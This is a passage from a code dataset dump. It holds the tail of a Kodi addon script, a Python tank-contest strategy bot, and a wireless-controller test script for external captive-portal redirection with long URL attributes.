addon.getAddonInfo('path'))\r\nwin.doModal()\r\ndel win\r\n\r\n#xbmc.executescript(RootDir + 'default_.py')\r\n\r\n","sub_path":"script.apiportail-fr/default.py","file_name":"default.py","file_ext":"py","file_size_in_byte":5266,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"223336688","text":"import math\nimport time\nimport sys\nfrom collections import defaultdict\n\nfrom model.FireType import FireType\nfrom model.TankType import TankType\nfrom model.ShellType import ShellType\nfrom model.BonusType import BonusType\nfrom model.Unit import Unit\nfrom model.Shell import Shell\n\nfrom geometry import *\nimport geometry\nfrom utils import *\nimport utils\nfrom constants import *\nimport constants\nfrom assessments import *\nimport assessments\nimport prediction\n\n\nclass Point:\n    def __init__(self, x, y):\n        self.x = x\n        self.y = y\n\n    def within(self, world):\n        return 0 <= self.x < world.width and 0 <= self.y < world.height\n\n\ndef within_world(x, y, world):\n    return Point(x, y).within(world)\n\n\ndef within_unit(x, y, unit):\n    # FIXME use unit angle\n    return unit.x - unit.width / 2. <= x <= unit.x + unit.width / 2. and \\\n            unit.y - unit.height / 2. <= y <= unit.y + unit.height / 2.\n\n\nclass Zone:\n    def __init__(self, x, y, r=constants.ZONE_RADIUS):\n        self.x = x\n        self.y = y\n        self.r = r\n\n    def get_point_to_move(self, tank):\n        # FIXME\n        return Point(self.x, self.y)\n\n        if math.hypot(tank.x - self.x, tank.y - self.y) <= self.r:\n            return Point(tank.x, tank.y)\n\n        tvx = math.cos(tank.angle)\n        tvy = math.sin(tank.angle)\n        npx, npy = geometry.get_nearest_point(tank.x, tank.y, tank.x + tvx, tank.y + tvy,\n                self.x, self.y)\n\n        vx = npx - self.x\n        vy = npy - self.y\n        ll = math.hypot(vx, vy)\n        vx /= ll\n        vy /= ll\n\n        # FIXME rather rude but can be usefull\n        return Point(self.x + vx * self.r, self.y + vy * self.r)\n\n\ndef make_zone(bonus, tank):\n    # r = min(bonus.width / 2., bonus.height / 2.) + min(tank.width / 2., tank.height / 2.)\n    r = min(bonus.width / 2., bonus.height / 2.)\n    return Zone(bonus.x, bonus.y, r)\n\n\ndef get_zones(world):\n    delta = 80.\n    min_x, min_y = delta, delta\n    max_x, max_y = 1280 - delta, 800 - delta\n\n    w_parts_number = int((max_x - min_x) / (2. * constants.ZONE_RADIUS))\n    w_step = (max_x - min_x) / w_parts_number\n\n    h_parts_number = int((max_y - min_y) / (2. * constants.ZONE_RADIUS))\n    h_step = (max_y - min_y) / h_parts_number\n\n    base = delta\n    x = y = base\n    res = []\n    while x <= max_x + 1.:\n        while y <= max_y + 1.:\n            append = True\n            for obstacle in world.obstacles:\n                rad = math.hypot(obstacle.width / 2., obstacle.height / 2.) + 30.\n                if math.hypot(x - obstacle.x, y - obstacle.y) < rad:\n                    append = False\n                    break\n            if append:\n                res.append(Zone(x, y))\n            y += h_step\n        y = base\n        x += w_step\n\n    return res\n\n\ndef get_fire_strategy_efficientcy(strategy, world):\n    '''strategy: tank -> enemy'''\n    def eff(tank, enemy):\n        if utils.is_goal_static_blocked_point(tank, enemy, world):\n            return 0.\n        dp = assessments.damage_probability(tank.x, tank.y, enemy.x, enemy.y)\n        return dp / assessments.time_before_hit(tank=tank, target=enemy)\n\n    enemy_to_attackers = defaultdict(list)\n    for t, e in strategy.iteritems():\n        enemy_to_attackers[e].append(t)\n\n    enemy_coeffs = {}\n    for e, attackers in enemy_to_attackers.iteritems():\n        angle = utils.angle_fork(e, attackers)\n        enemy_coeffs[e] = angle_to_coeff(angle)\n\n    res = 0.\n    for t, e in strategy.iteritems():\n        res += eff(t, e) * enemy_coeffs[e]\n    return res\n\n\ndef get_enemy_max_hit(me, world):\n    enemies = all_enemies(world)\n    teamates = all_teammates(world)\n    strategies = []\n    lt = len(teamates)\n    le = len(enemies)\n    for i in range(pow(le, lt)):\n        strategy = {}\n        for t_id in range(lt):\n            base = pow(le, t_id)\n            strategy[teamates[t_id]] = enemies[(i / base) % le]\n        strategies.append(strategy)\n\n    best_strategy = max(strategies, key=lambda s: get_fire_strategy_efficientcy(s, world))\n    for t, e in best_strategy.iteritems():\n        if t.id == me.id:\n            return e\n    return enemies[0]\n\n\ndef get_enemy_max_score(me, world):\n    enemies = all_enemies(world)\n\n    def efficiency(enemy):\n        return assessments.possible_score(me, enemy, world) / assessments.time_before_hit(tank=me, target=enemy)\n    return max(enemies, key=lambda e: efficiency(e))\n\n\ndef get_enemy(me, world):\n    if utils.alive_team_number(world) > 2:\n        return get_enemy_max_score(me, world)\n    return get_enemy_max_hit(me, world)\n\n\ndef should_give_way(me, world):\n    if world.tick > 30:\n        return False\n    team = all_teammates(world)\n    max_id = max([t.id for t in team])\n    return me.id < max_id\n\n\ndef can_avoid(goal, me, shell_type):\n    dist = me.get_distance_to_unit(goal)\n    def get_angle():\n        vgx = math.cos(goal.angle)\n        vgy = math.sin(goal.angle)\n        vsx = goal.x - me.x\n        vsy = goal.y - me.y\n        angle = geometry.get_angle(vgx, vgy, vsx, vsy)\n        return angle if angle < math.pi / 2. else math.pi - angle\n    angle = get_angle()\n    if shell_type == ShellType.REGULAR:\n        free_time = assessments.regular_shell_time(dist)\n    else:\n        free_time = assessments.premium_shell_time(dist)\n\n    max_dist = assessments.tank_dist(free_time)\n    if angle < 0.0001:\n        return False\n    need_dist = goal.width / 2. + goal.height / (2. * math.tan(angle))\n    if shell_type == ShellType.REGULAR:\n        coeff = 1.5\n    else:\n        coeff = 1.\n    return max_dist > coeff * need_dist\n\n\ndef get_max_file_angle(tank, goal):\n    distance = tank.get_distance_to_unit(goal)\n    goal_size = 15\n    return math.atan2(goal_size, distance)\n\n\ndef under_attack(goal, me, world):\n    teammates = utils.all_teammates_without_me(world, me)\n    for t in teammates:\n        if utils.is_goal_blocked_point(t, goal, world):\n            continue\n        max_fire_angle = get_max_file_angle(t, goal)\n        if 3 * t.get_turret_angle_to_unit(goal) > max_fire_angle:\n            continue\n        if t.remaining_reloading_time < 5:\n            return True\n\n    for shell in world.shells:\n        if is_shell_dangerous(goal, shell, world):\n            return True\n    return False\n\n\ndef fire_to(goal, me, world, move):\n    # max_premium_distance = math.hypot(world.width, world.height) / 2\n    max_premium_distance = 600\n\n    distance = me.get_distance_to_unit(goal)\n    max_fire_angle = get_max_file_angle(me, goal)\n\n    time_to_reach = distance / SHELL_AVERAGE_SPEED\n\n    predicted_x = goal.x + (time_to_reach * goal.speedX) / 2.\n    predicted_y = goal.y + (time_to_reach * goal.speedY) / 2.\n\n    turret_angle = me.get_turret_angle_to(predicted_x, predicted_y)\n\n    eps = degree_to_rad(1)\n    if abs(turret_angle) < eps:\n        move.turret_turn = 0\n    else:\n        move.turret_turn = 1. if turret_angle > 0 else -1.\n\n    possible_shell = utils.make_possible_shell(me)\n\n    if abs(turret_angle) > max_fire_angle:\n        move.fire_type = FireType.NONE\n    elif is_goal_blocked(possible_shell, goal, world):\n        move.fire_type = FireType.NONE\n    elif should_give_way(me, world):\n        move.fire_type = FireType.NONE\n    elif under_attack(goal, me, world):\n        if can_avoid(goal, me, ShellType.PREMIUM):\n            move.fire_type = FireType.REGULAR\n        else:\n            move.fire_type = FireType.PREMIUM_PREFERRED\n    elif not can_avoid(goal, me, ShellType.PREMIUM):\n        move.fire_type = FireType.PREMIUM_PREFERRED\n    elif not can_avoid(goal, me, ShellType.REGULAR):\n        move.fire_type = FireType.REGULAR\n    else:\n        move.fire_type = FireType.NONE\n\n    # move.fire_type = FireType.NONE\n\n\ndef move_to_unit(goal, me, world, move):\n    min_dist = 20\n    if math.hypot(goal.x - me.x, goal.y - me.y) < min_dist:\n        return False\n\n    x, y = goal.x, goal.y\n    min_angle = math.pi / 6\n\n    angle = me.get_angle_to(x, y)\n\n    if -min_angle < angle < min_angle:\n        move.left_track_power = 1.\n        move.right_track_power = 1.\n    elif angle > math.pi - min_angle or angle < -math.pi + min_angle:\n        move.left_track_power = -1.\n        move.right_track_power = -1.\n    elif min_angle < angle < math.pi / 2:\n        move.left_track_power = 1.\n        move.right_track_power = -1.0\n    elif -math.pi / 2 < angle < -min_angle:\n        move.left_track_power = -1.0\n        move.right_track_power = 1.\n    elif angle > math.pi / 2:\n        move.left_track_power = -1.\n        move.right_track_power = 1.\n    else:\n        move.left_track_power = 1.\n        move.right_track_power = -1.\n\n    return True\n\n\n# return True if shell path crossed me\ndef is_shell_dangerous(me, shell, world):\n    vs_x = shell.speedX\n    vs_y = shell.speedY\n    speed_mod = math.hypot(shell.speedX, shell.speedY)\n    if speed_mod < 0.001:\n        return False\n\n    dist_x = shell.x + vs_x * 1000\n    dist_y = shell.y + vs_y * 1000\n\n    next_shell = Unit(shell.id, width=shell.width, height=shell.height,\n            x=dist_x, y=dist_y,\n            speed_x=shell.speedX, speed_y=shell.speedY,\n            angle=shell.angle, angular_speed=shell.angular_speed)\n\n    time_to_touch = me.get_distance_to_unit(shell) / speed_mod\n    next_me_x = me.x + time_to_touch * me.speedX\n    next_me_y = me.y + time_to_touch * me.speedY\n    next_me = Unit(me.id, width=me.width, height=me.height,\n            x=next_me_x, y=next_me_y,\n            speed_x=me.speedX, speed_y=me.speedY,\n            angle=me.angle, angular_speed=me.angular_speed)\n\n    if not utils.is_goal_blocked_by(shell, next_shell, next_me):\n        return False\n\n    if utils.is_goal_immobile_blocked(shell, me, world):\n        return False\n    return True\n\n\ndef time_to_shell_hit(me, shell):\n    distance = me.get_distance_to_unit(shell)\n    speed_mod = math.hypot(shell.speedX, shell.speedY)\n    if speed_mod < 0.001:\n        return False\n    return distance / speed_mod\n\n\ndef is_shell_unavoidable(me, shell):\n    return False\n    # return time_to_shell_hit(me, shell) < 10\n\n\ndef has_place(me, world, front, left):\n    mvx = math.cos(me.angle)\n    mvy = math.sin(me.angle)\n\n    left_mvx = mvy\n    left_mvy = -mvx\n\n    m_size = math.hypot(me.width, me.height)\n\n    l_coef = 1. if left > 0 else -1.\n    f_coef = 1. if front > 0 else -1.\n    l_coef *= 1.\n    f_coef *= 1\n\n    px = me.x + f_coef * mvx * m_size + l_coef * left_mvx * m_size\n    py = me.y + f_coef * mvy * m_size + l_coef * left_mvy * m_size\n\n    return within_world(px, py, world)\n\n\ndef avoid_shell(shell, me, world, move):\n    angle_for_simple = math.pi / 4\n    vsx = shell.speedX\n    vsy = shell.speedY\n\n    vmx = math.cos(me.angle)\n    vmy = math.sin(me.angle)\n\n    m_size = math.hypot(me.width, me.height)\n\n    nx, ny = get_nearest_point(shell.x, shell.y, shell.x + vsx, shell.y + vsy, me.x, me.y)\n    vnx = nx - me.x\n    vny = ny - me.y\n    if math.hypot(vnx, vny) < 0.000001:\n        prefered_power = 1.\n    else:\n        norm_angle = get_angle(vmx, vmy, vnx, vny)\n        prefered_power = 1. if norm_angle > math.pi / 2 else -1.\n\n    angle = get_angle(vsx, vsy, vmx, vmy)\n    if angle_for_simple < angle < math.pi - angle_for_simple:\n        # simple move\n\n        power = prefered_power\n        est_x = nx + 1.5 * vmx * m_size * power\n        est_y = ny + 1.5 * vmy * m_size * power\n\n        if not within_world(est_x, est_y, world):\n            power = -power\n\n        move.right_track_power = power\n        move.left_track_power = power\n        return True\n    else:\n        if angle <= angle_for_simple:\n            angle_share = angle / angle_for_simple\n        if angle >= math.pi - angle_for_simple:\n            angle_share = (math.pi - angle) / angle_for_simple\n\n        front_angle = get_angle(vmx, vmy, vsx, vsy)\n        # if shell goes to front\n        front = 1. if front_angle > math.pi / 2 else -1.\n\n        # if shell goes to left board\n        left = 1. if me.get_angle_to_unit(shell) < 0 else -1.\n\n        fake_me = Unit(me.id, width=me.width, height=me.height, x=nx, y=ny,\n                speed_x=me.speedX, speed_y=me.speedY, angle=me.angle, angular_speed=me.angular_speed)\n\n        # sign of angle\n        preffered_rotation = left * front\n\n        # if 1, 1 then move front using left track\n        def make_move(direction, side):\n            if side > 0:\n                move.left_track_power = direction\n                move.right_track_power = direction * angle_share\n            else:\n                move.right_track_power = direction\n                move.left_track_power = direction * angle_share\n\n        # can rotate, direction > 1 if forward, side > 1 if use side track\n        def can_rotate(direction, side):\n            res = has_place(fake_me, world, direction, -side)\n            return res\n\n        for direction, side in [\n                (prefered_power, prefered_power * preffered_rotation),\n                (-prefered_power, prefered_power * preffered_rotation),\n                (prefered_power, prefered_power * preffered_rotation),\n                (-prefered_power, prefered_power * preffered_rotation)]:\n            if can_rotate(direction, side):\n                make_move(direction, side)\n                return True\n\n        return True\n\n\ndef new_best_avoid_shells(shells, me, world, move):\n    strategies = [\n            (1., 1.),\n            (-1., -1.),\n            (1., 0.5),\n            (0.5, 1),\n            (-1., -0.5),\n            (-0.5, -1.),\n            (0.75, -1.),\n            (-1., 0.75),\n            ]\n\n    def damage(s):\n        res = 0.\n        for shell in shells:\n            res += prediction.damage(me, shell, world, s[0], s[1])\n        return res\n\n    strategy = min(strategies, key=lambda s: damage(s))\n    move.left_track_power = strategy[0]\n    move.right_track_power = strategy[1]\n    # print world.tick, \":\", stategy[0], stategy[1], \\\n    #         prediction.damage(me, shell, world, stategy[0], stategy[1])\n    return True\n\n\ndef avoid_shells(me, world, move):\n\n    dangerous_shells = filter(lambda s: is_shell_dangerous(me, s, world), world.shells)\n\n    shells_to_avoid = filter(lambda s: not is_shell_unavoidable(me, s), dangerous_shells)\n\n    if len(shells_to_avoid) == 0:\n        return False\n\n    # premium_shells_to_avoid = filter(lambda s: s.type == ShellType.PREMIUM, shells_to_avoid)\n    # if len(premium_shells_to_avoid) > 0:\n    #     shell_to_avoid = min(premium_shells_to_avoid, key=lambda s: time_to_shell_hit(me, s))\n    # else:\n    #     shell_to_avoid = min(shells_to_avoid, key=lambda s: time_to_shell_hit(me, s))\n\n    # return avoid_shell(shell_to_avoid, me, world, move)\n    return new_best_avoid_shells(shells_to_avoid, me, world, move)\n\n\ndef get_bonus_rating(me, bonus):\n    time = assessments.time_to_get(me, bonus)\n    if time < 0.01:\n        time = 0.01\n    return get_bonus_factor(me, bonus) / time\n\n\ndef angle_to_coeff(angle):\n    limit = math.pi / 2.\n    if angle > limit:\n        return 2.\n    if angle < 0:\n        return 1.\n    return 1. + angle / limit\n\n\ndef get_best_zone(me, world):\n    zones = get_zones(world)\n    neighbour_zones = filter(lambda z: me.get_distance_to(z.x, z.y) < constants.ZONE_RADIUS * 2 * 1.6,\n            zones)\n    enemies = all_enemies(world)\n    team_power = get_team_power(world)\n    team = all_teammates_without_me(world, me)\n\n    def team_addition_value(distance):\n        # 0 -> -2.\n        # norm -> 0.\n        # max -> -1.\n        min_norm_dist = 120\n        max_norm_dist = 400\n        max_dist = 1000\n        if distance < min_norm_dist:\n            return (2. * distance) / float(min_norm_dist) - 2.\n        elif min_norm_dist <= distance <= max_norm_dist:\n            return 0.\n        else:\n            return (max_norm_dist - distance) / (max_dist - max_norm_dist)\n\n    def team_addition(zone):\n        res = 0\n        for t in team:\n            res += team_addition_value(math.hypot(zone.x - t.x, zone.y - t.y))\n        return res\n\n    def blocker_coeff(tank, goal, blocker):\n        if blocker is None:\n            return 1.\n        blocker_rad = math.hypot(blocker.width / 2., blocker.height / 2.)\n        nx, ny = geometry.get_nearest_point(tank.x, tank.y, goal.x, goal.y, blocker.x, blocker.y)\n        dist = math.hypot(blocker.x - nx, blocker.y - ny)\n        if dist > blocker_rad:\n            return 1.\n        return dist / blocker_rad\n\n    def enemy_addition_value(distance):\n        min_dist = 90.\n        if distance > min_dist:\n            return 0.\n        return -2. + (2. * distance) / min_dist\n\n    def enemy_addition(zone):\n        res = 0\n        for e in enemies:\n            res += enemy_addition_value(math.hypot(zone.x - e.x, zone.y - e.y))\n        coef = angle_to_coeff(utils.angle_fork(zone, enemies))\n        return res * coef\n\n    def single_damage_value(tank, target, tx=None, ty=None):\n        if tx is None:\n            tx = tank.x\n        if ty is None:\n            ty = tank.y\n        power = assessments.get_power(tank)\n        dp = assessments.damage_probability(tx, ty, target.x, target.y)\n        blocker = utils.get_static_blocker_point(Point(tx, ty), target, world)\n        bc = blocker_coeff(Point(tx, ty), target, blocker)\n        return power * dp * bc\n\n    def damage_value(x, y):\n        '''damage that enemy team can hit to tank in (x, y)'''\n        res = 0.\n        angle_fork = utils.angle_fork(Point(x, y), enemies)\n        for e in enemies:\n            res += single_damage_value(e, Point(x, y))\n        return res * angle_to_coeff(angle_fork)\n\n    def damage(zone):\n        '''damage that our team can get if me in zone'''\n        dv = damage_value(zone.x, zone.y) / utils.life_factor(me)\n        for t in team:\n            team_dv = damage_value(t.x, t.y) / utils.life_factor(t)\n            dv = max(team_dv, dv)\n        return dv\n        # res = 0\n        # for e in enemies:\n        #     my_damage_prob = damage_probability(e.x, e.y, zone.x, zone.y)\n        #     if len(team) > 0:\n        #         best_team_target = max(team, key=lambda t: damage_probability(e.x, e.y, t.x, t.y))\n        #         if damage_probability(e.x, e.y, best_team_target.x, best_team_target.y) > my_damage_prob:\n        #             continue\n\n        #     res += get_power(e) * my_damage_prob\n        # return res\n\n    def my_damage_value(x, y, ex, ey):\n        '''damage that our team can heat to enemy in (ex, ey) if me in (x, y)'''\n        res = single_damage_value(me, Point(ex, ey), x, y)\n        angle_fork = utils.angle_fork(Point(ex, ey), [Point(x, y)] + team)\n        for t in team:\n            res += single_damage_value(t, Point(ex, ey))\n        return res * angle_to_coeff(angle_fork)\n\n    def my_damage(zone):\n        '''damage that our team can heat if me in (x, y)'''\n        target = max(enemies, key=lambda e: my_damage_value(zone.x, zone.y, e.x, e.y) / utils.life_factor(e))\n        return my_damage_value(zone.x, zone.y, target.x, target.y)\n        # target = max(enemies, key=lambda e: damage_probability(zone.x, zone.y, e.x, e.y))\n        # res = get_power(me) * damage_probability(zone.x, zone.y, target.x, target.y)\n        # angle_fork = utils.angle_fork(target, [zone] + team)\n        # coef = angle_to_coeff(angle_fork)\n        # return res * coef\n\n\n    def value(zone):\n        enemy_power = 1 - team_power\n        return enemy_addition(zone) + \\\n                0.3 * team_addition(zone) + \\\n                1.1 * team_power * my_damage(zone) - \\\n                enemy_power * damage(zone)\n\n\n    res = max(neighbour_zones, key=lambda z: value(z))\n    # if world.tick == 270:\n    #     print_zones(me, world, value)\n    return res\n\n\ndef get_strategic_goal(me, world):\n    # enemies = all_enemies(world)\n\n    team = all_teammates_without_me(world, me)\n    usefull_bonuses = filter(lambda b: assessments.is_bonus_usefull(me, b, world), world.bonuses)\n    for teammate in team:\n        usefull_bonuses = filter(\n                lambda b: get_bonus_rating(me, b) > get_bonus_rating(teammate, b), usefull_bonuses)\n\n    if len(usefull_bonuses) > 0:\n        bonus = max(usefull_bonuses, key=lambda b: get_bonus_rating(me, b))\n        return make_zone(bonus, me)\n\n    return get_best_zone(me, world)\n\n\ndef enemy_is_going_hit_only_me(me, enemy, enemies):\n    mine_time = assessments.time_before_hit(tank=enemy, target=me)\n    for e in enemies:\n        if e.id == enemy.id:\n            continue\n\n        if assessments.time_before_hit(tank=enemy, target=e) < mine_time:\n            return False\n    return True\n\n\ndef avoid_possible_shells(me, world, move):\n    enemies = all_enemies(world)\n    if len(enemies) == 0:\n        return False\n\n    bother_time = 50\n    dangerous_enemies = filter(lambda e: enemy_is_going_hit_only_me(me, e, enemies), enemies)\n    dangerous_enemies = filter(lambda e: not utils.is_goal_blocked_point(e, me, world), dangerous_enemies)\n    very_dangerous_enemies = filter(\n            lambda e: assessments.time_before_hit(tank=e, target=me) <= bother_time, dangerous_enemies)\n    # if len(very_dangerous_enemies) != 1:\n    #     return False\n\n    # enemy = very_dangerous_enemies[0]\n    possible_shells = []\n    for enemy in very_dangerous_enemies:\n        absolute_angle_to_me = math.atan2(me.y - enemy.y, me.x - enemy.x)\n\n        turret_angle_to_me = enemy.get_turret_angle_to_unit(me)\n        if rad_to_degree(turret_angle_to_me) > 10:\n            turret_angle_to_me = degree_to_rad(10)\n        if rad_to_degree(turret_angle_to_me) < -10:\n            turret_angle_to_me = degree_to_rad(-10)\n\n        possible_shell_angle = absolute_angle_to_me - turret_angle_to_me\n\n        spx = math.cos(possible_shell_angle)\n        spy = math.sin(possible_shell_angle)\n        spx = spx * SHELL_AVERAGE_SPEED\n        spy = spy * SHELL_AVERAGE_SPEED\n\n        possible_shell = Shell(id=0, player_name=enemy.player_name,\n                width=constants.SHELL_WIDTH, height=constants.SHELL_HEIGHT,\n                x=enemy.x, y=enemy.y,\n                speed_x=spx, speed_y=spy, angle=0, angular_speed=0,\n                type=ShellType.REGULAR)\n\n        if is_goal_blocked(possible_shell, me, world):\n            continue\n        possible_shells.append(possible_shell)\n\n    # return avoid_shell(possible_shell, me, world, move)\n    if len(possible_shells) == 0:\n        return False\n    return new_best_avoid_shells(possible_shells, me, world, move)\n\n\ndef help_turret(me, move):\n    angle = move.turret_turn\n    if abs(angle) < degree_to_rad(1):\n        return False\n\n    if angle > 0:\n        move.left_track_power = 0.75\n        move.right_track_power = -1.\n    else:\n        move.left_track_power = -1.\n        move.right_track_power = 0.75\n    return True\n\n\ndef print_zones(me, world, func):\n    delta = 80.\n    min_x, min_y = delta, delta\n    max_x, max_y = 1280 - delta, 800 - delta\n\n    w_parts_number = int((max_x - min_x) / (2. * constants.ZONE_RADIUS))\n    w_step = (max_x - min_x) / w_parts_number\n\n    h_parts_number = int((max_y - min_y) / (2. * constants.ZONE_RADIUS))\n    h_step = (max_y - min_y) / h_parts_number\n\n    def marker(x, y):\n        for tank in world.tanks:\n            if tank.get_distance_to(x, y) < constants.ZONE_RADIUS * 1.5:\n                if me.id == tank.id:\n                    return 'M'\n                elif tank.teammate:\n                    return 'T'\n                else:\n                    return 'E'\n        return ''\n\n    base = delta\n    x = y = base\n    with open('{0}_{1}.txt'.format(world.tick, me.id), 'w') as out:\n        while y <= max_y + 1.:\n            while x <= max_x + 1.:\n                append = True\n                for obstacle in world.obstacles:\n                    rad = math.hypot(obstacle.width / 2., obstacle.height / 2.) + 30.\n                    if math.hypot(x - obstacle.x, y - obstacle.y) < rad:\n                        append = False\n                        break\n                if append:\n                    out.write('{0:.2f}{1}\\t'.format(func(Zone(x, y)), marker(x, y)))\n                else:\n                    out.write('----\\t')\n                x += w_step\n            out.write('\\n')\n            x = base\n            y += h_step\n\n\nclass MyStrategy:\n    def __init__(self):\n        pass\n\n    def move(self, me, world, move):\n        begin = time.time()\n\n        enemy = get_enemy(me, world)\n\n        fire_to(enemy, me, world, move)\n\n        if not avoid_shells(me, world, move):\n            if not avoid_possible_shells(me, world, move):\n                zone = get_strategic_goal(me, world)\n                point = zone.get_point_to_move(me)\n                if not move_to_unit(point, me, world, move):\n                    help_turret(me, move)\n\n        # print world.tick, \";\", time.time() - begin\n\n    def select_tank(self, tank_index, team_size):\n        return TankType.MEDIUM","sub_path":"python2-cgdk/MyStrategy.py","file_name":"MyStrategy.py","file_ext":"py","file_size_in_byte":24639,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"263199309","text":"#-*- coding: UTF-8 -*-#\n#\n#*******************************************************************************\n# waffirm_6.3.3.py - test case 6.3.3 of waffirm\n#\n# Author: \n#\n# Version 1.0.0\n#\n# Copyright (c) 2004-2012 Digital China Networks Co. Ltd\n#\n# Features:\n# 6.3.3 management vlan 和untag vlan不相同情况下超长重定向url的外置Portal功能测试\n# 测试目的：测试management vlan 和untag vlan不相同情况下的超长重定向url的外置portal 认证测试\n# 测试环境：同测试拓扑\n# 测试描述：测试ap management vlan 和untag vlan不相同情况下客户端发起HTTP请求时，能够成功重定向到超长外置Portal的认证页面，客户端能够成功的上/下线\n#          （STA1的MAC地址：STA1MAC）\n#\n#*******************************************************************************\n# Change log:\n#     - zhangjxp 2017.12.4 RDM50486 适配WAVE3项目\n#*******************************************************************************\n\n#Package\n\n#Global Definition\n\n#Source files\n\n#Procedure Definition \n\n#Functional Code\n\ntestname = 'TestCase 6.3.3'\navoiderror(testname)\nprintTimer(testname,'Start','Test extrnal portal')\n\n###############################################################################\n#Step 1\n#操作\n#在AC1配置network1的SSID为test1，关联vlan4091，配置下发到AP1，\n#配置Radius服务器\n#配置外置Portal\n#\n#\n#预期\n#配置成功\n################################################################################\nprintStep(testname,'Step 1',\n          'set radius server-name acct wlan,',\n          'set radius setver-name auth wlan,',\n          'and u should config others and so on,',\n          'check config success,'\n          'config captive-portal,')\n\nNetwork_name4='12345678901234567890123456789012'\n# SetCmd(ap1,'set management vlan-id',Vlan20)\n# SetCmd(ap1,'set untagged-vlan vlan-id 2')\n# ApSetcmd(ap1,Ap1cmdtype,'set_management_vlanid',Vlan20)\n# ApSetcmd(ap1,Ap1cmdtype,'set_untagged_vlanid','2',commitflag=True)\n\nEnterNetworkMode(switch1,1)\nSetCmd(switch1,'ssid ' + Network_name4)\nSetCmd(switch1,'vlan ' + Vlan4091)\n# AC修改management vlan和ethernet native-vlan配置，并下发profile\nEnterWirelessMode(switch1)\nEnterApProMode(switch1,'1')\nSetCmd(switch1,'management vlan',Vlan20)\nSetCmd(switch1,'ethernet native-vlan 2')\nWirelessApplyProfileWithCheck(switch1,['1'],[ap1mac])\n# 配置下发后，ap的management vlan和ethernet native-vlan已经修改，\n# 但是s3的端口配置没有修改，导致AP和AC之间不通，AP会下线\n# （注意：此处必须先等AP下线后再修改S3配置）\nCheckSutCmd(switch1,'show wireless ap status',\n            check=[(ap1mac,'Failed','Not Config')],\n            waitflag=False,retry=10,interval=5,IC=True)\n\n\n# 修改S3端口配置\nEnterConfigMode(switch3)\nSetCmd(switch3,'vlan 2')\nEnterInterfaceMode(switch3,s3p3)\nSetCmd(switch3,'switchport mode trunk')\nSetCmd(switch3,'switchport trunk native vlan 2')\n\nIdleAfter(20)\nres1=CheckSutCmd(switch1,'show wireless ap status',\n                 check=[(ap1mac,'Managed','Success')],\n                 waittime=5,retry=20,interval=5,IC=True)\n# 因portfal认证服务器对超长url处理有问题，修改重定向各属性参数值长度\nEnterConfigMode(switch1)\nSetCmd(switch1,'radius source-ipv4 ' + StaticIpv4_ac1)\nSetCmd(switch1,'radius-server key test')\nSetCmd(switch1,'radius-server authentication host ' + Radius_server)\nSetCmd(switch1,'radius-server accounting host ' + Radius_server)\nSetCmd(switch1,'radius nas-ipv4 ' + StaticIpv4_ac1)\nSetCmd(switch1,'aaa group server radius wlan')\nSetCmd(switch1,'server ' + Radius_server)\nEnterConfigMode(switch1)\nSetCmd(switch1,'aaa enable')\nSetCmd(switch1,'aaa-accounting enable')\nEnterConfigMode(switch1)\nSetCmd(switch1,'captive-portal')\nSetCmd(switch1,'enable')\nSetCmd(switch1,'authentication-type external')\nSetCmd(switch1,'external portal-server server-name eportal ipv4 '+ Radius_server)\nSetCmd(switch1,'free-resource 1 destination ipv4 ' + Radius_server +'/32 source any')\nSetCmd(switch1,'configuration 1 ')\nSetCmd(switch1,'enable')\nSetCmd(switch1,'radius accounting ')\nSetCmd(switch1,'protocol http')\nSetCmd(switch1,'radius-acct-server wlan')\nSetCmd(switch1,'radius-auth-server wlan')\nSetCmd(switch1,'redirect attribute url-after-login enable')\nSetCmd(switch1,'redirect attribute ssid enable ')\nSetCmd(switch1,'redirect attribute nas-ip enable')\nSetCmd(switch1,'redirect attribute apmac enable')\nSetCmd(switch1,'redirect attribute apmac name 1234567890123456789')\nSetCmd(switch1,'redirect attribute custom-string name 123456789012345677890')\n# 部分产品nas-ip name属性存在bug，目前配置成wlanacip以外的任何值都会导致失败!!!!!\n# SetCmd(switch1,'redirect attribute nas-ip name wlanacip')\nSetCmd(switch1,'redirect attribute nas-ip name 12345678')\nSetCmd(switch1,'redirect attribute ssid name 1234567890123456789')\nSetCmd(switch1,'redirect attribute usermac enable')\nSetCmd(switch1,'redirect attribute usermac name 12345678901234567890')\nSetCmd(switch1,'ac-name 0100.0010.0'+EnvNo+'0.01')\nSetCmd(switch1,'redirect url-head http://192.168.10.101/a79.htm')\nSetCmd(switch1,'portal-server ipv4 eportal')\nSetCmd(switch1,'free-resource 1')\nSetCmd(switch1,'interface ws-network 1')\n\nWirelessApplyProfileWithCheck(switch1,['1'],[ap1mac])\n# res1 = 0\n#result\nprintCheckStep(testname, 'Step 1',res1)\n\n################################################################################\n#Step 2\n#操作\n#在STA1上连接test1\n#\n#预期\n#连接成功\n################################################################################\n\nprintStep(testname,'Step 2',\n          'STA1connect to network 1,',\n          'STA1dhcp and get 192.168.91.x ip')\n\nsta1_ipv4 = ''\n\nres1=res2=1\n\n#operate\n#STA1关联 network1\nres1 = WpaConnectWirelessNetwork(sta1,Netcard_sta1,Network_name4,bssid=ap1mac_lower)\nIdleAfter(10)\n#获取STA1的地址\n#获取STA1的地址\nsta1_ipresult = GetStaIp(sta1,checkippool=Dhcp_pool1)\nsta1_ipv4 = sta1_ipresult['ip']\nres2 = sta1_ipresult['res']  \n\n#result\nprintCheckStep(testname, 'Step 2',res1,res2)\n\n# 如果客户端无法关联network或无法获取IP，则不执行后续步骤\nkeeponflag = res1 + res2\nif GetWhetherkeepon(keeponflag):\n    ################################################################################\n    #Step 3\n    #操作\n    #客户端STA1访问http://www.aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.com\n    #\n    #预期\n    #STA1被重定向到Portal认证页面\n    ################################################################################\n\n    printStep(testname,'Step 3',\n              'STA1 http connect http://www.aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.com,')\n\n    web = web_init(sta1_host)\n    if None != web:\n        res1 = web_open(web,'http://1.1.1.1')\n        if res1['status']:\n            res2 = is_portal_page(web)\n            if res2['status']:\n                res3 = 0\n            else:\n                res3 = 1\n                printRes('is_portal_page(web) status false')\n        else:\n            res3 = 1\n            printRes('web_open(web,\\'http://1.1.1.1\\')')\n    else:\n        res3 